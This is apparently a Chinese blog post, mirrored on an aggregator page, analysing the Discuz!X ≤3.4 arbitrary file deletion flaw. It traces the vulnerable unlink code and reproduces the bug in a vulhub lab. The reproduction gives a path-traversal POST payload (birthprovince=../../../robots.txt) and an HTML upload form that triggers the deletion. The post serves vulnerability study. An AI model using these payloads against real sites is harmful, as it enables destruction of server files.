zoukankan      html  css  js  c++  java
  • Discuz!X ≤3.4 任意文件删除漏洞

    Discuz!X ≤3.4 任意文件删除漏洞

    简述

    漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。

    漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复

    漏洞原理分析

    home.php中存在,get参数不满足条件时进入

    require_once libfile('home/'.$mod, 'module');
    

    libfile(功能:构造文件路径)

    function libfile($libname, $folder = '') {
        $libpath = '/source/'.$folder;
        if(strstr($libname, '/')) {
            list($pre, $name) = explode('/', $libname);
            $path = "{$libpath}/{$pre}/{$pre}_{$name}";
        } else {
            $path = "{$libpath}/{$libname}";
        }
        return preg_match('/^[wd/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
    }
    

    利用中的请求的Get请求:mod=spacecp&ac=profile&op=base

    经过处理返回到home_spacecp.php在此文件中最后一行,引入文件spacecp_profile.php

    问题所在文件:spacecp_profile.php

    upload/source/include/spacecp/spacecp_profile.php
    

    进入代码70行

    if(submitcheck('profilesubmit')) {
    

    提交profilesubmit进入判断

    第185行开始对文件上传进行处理,下接第205行

    			if(!$upload->error()) {
    				$upload->save();
    
    				if(!$upload->get_image_info($attach['target'])) {
    					@unlink($attach['target']);
    					continue;
    				}
    				$setarr[$key] = '';
    				$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
    				if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
    					if(isset($verifyinfo['field'][$key])) {
                @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
    						$verifyarr[$key] = $attach['attachment'];
    					}
    					continue;
    				}
    				if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
              @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
    					$verifyarr[$key] = $attach['attachment'];
    					continue;
            }
            @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
    				$setarr[$key] = $attach['attachment'];
    			}
    

    文件上传成功,!$upload->error()进入unlink语句

    @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
    

    回溯变量$space[$key](用户的个人设置)

    $space = getuserbyuid($_G['uid']);
    space_merge($space, 'field_home');
    space_merge($space, 'profile');
    

    从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。

    因为birthprovince可控,所以利用这一变量,在设置页面提交即可绕过字段内容的限制

    此时$space[key] = $space[birthprovince] = '../../../robots.txt'

    漏洞复现

    启动环境

    用的vulhub-master进行复现

    启动docker

    sudo systemctl start docker
    

    运行环境

    cd /vulhub-master/discuz/x3.4-arbitrary-file-deletion
    docker-compose up -d
    

    复现

    docker exec [容器] ls查看目录下文件

    前

    注册并且登录后进入个人资料 查看源码找到formhash(第二个)

    hash

    请求

    home.php?mod=spacecp&ac=profile&op=base
    
    POST:
    birthprovince=../../../robots.txt&profilesubmit=1&formhash=b7a54465
    其中formhash为用户hash
    

    修改成功后出生地会变为../../../robots.txt

    前地

    新建一个upload.html,构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件

    <body>
        <form action="http://ip/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[hash]" method="post" enctype="multipart/form-data">
            <input type="file" name="birthprovince" />
            <input type="submit" value="upload" />
        </form>
    </body>
    

    刷新页面发现出生地变成了图片地址

    后地

    请求后docker exec [容器] ls发现目标文件(robots.txt)已经被删除了

    后

    漏洞修复

    直接删除几条unlink语句

  • 相关阅读:
    pyspark 基本api使用说明(一)
    584. 寻找用户推荐人
    Spring IOC 容器源码分析(了解模板方法--钩子方法在spring中的使用)
    Mybatis事务创建和管理
    Mybatis源码分析执行流程总结
    设计模式之责任链模式
    设计模式之外观模式(门面模式)以及如何利用到接口设计中
    如何在聚合支付平台,巧用模板+工厂设计模式来实现异步回调
    浅谈设计模式之代理设计模式
    Java线上问题排查思路
  • 原文地址:https://www.cnblogs.com/rabbittt/p/13891301.html
Copyright © 2011-2022 走看看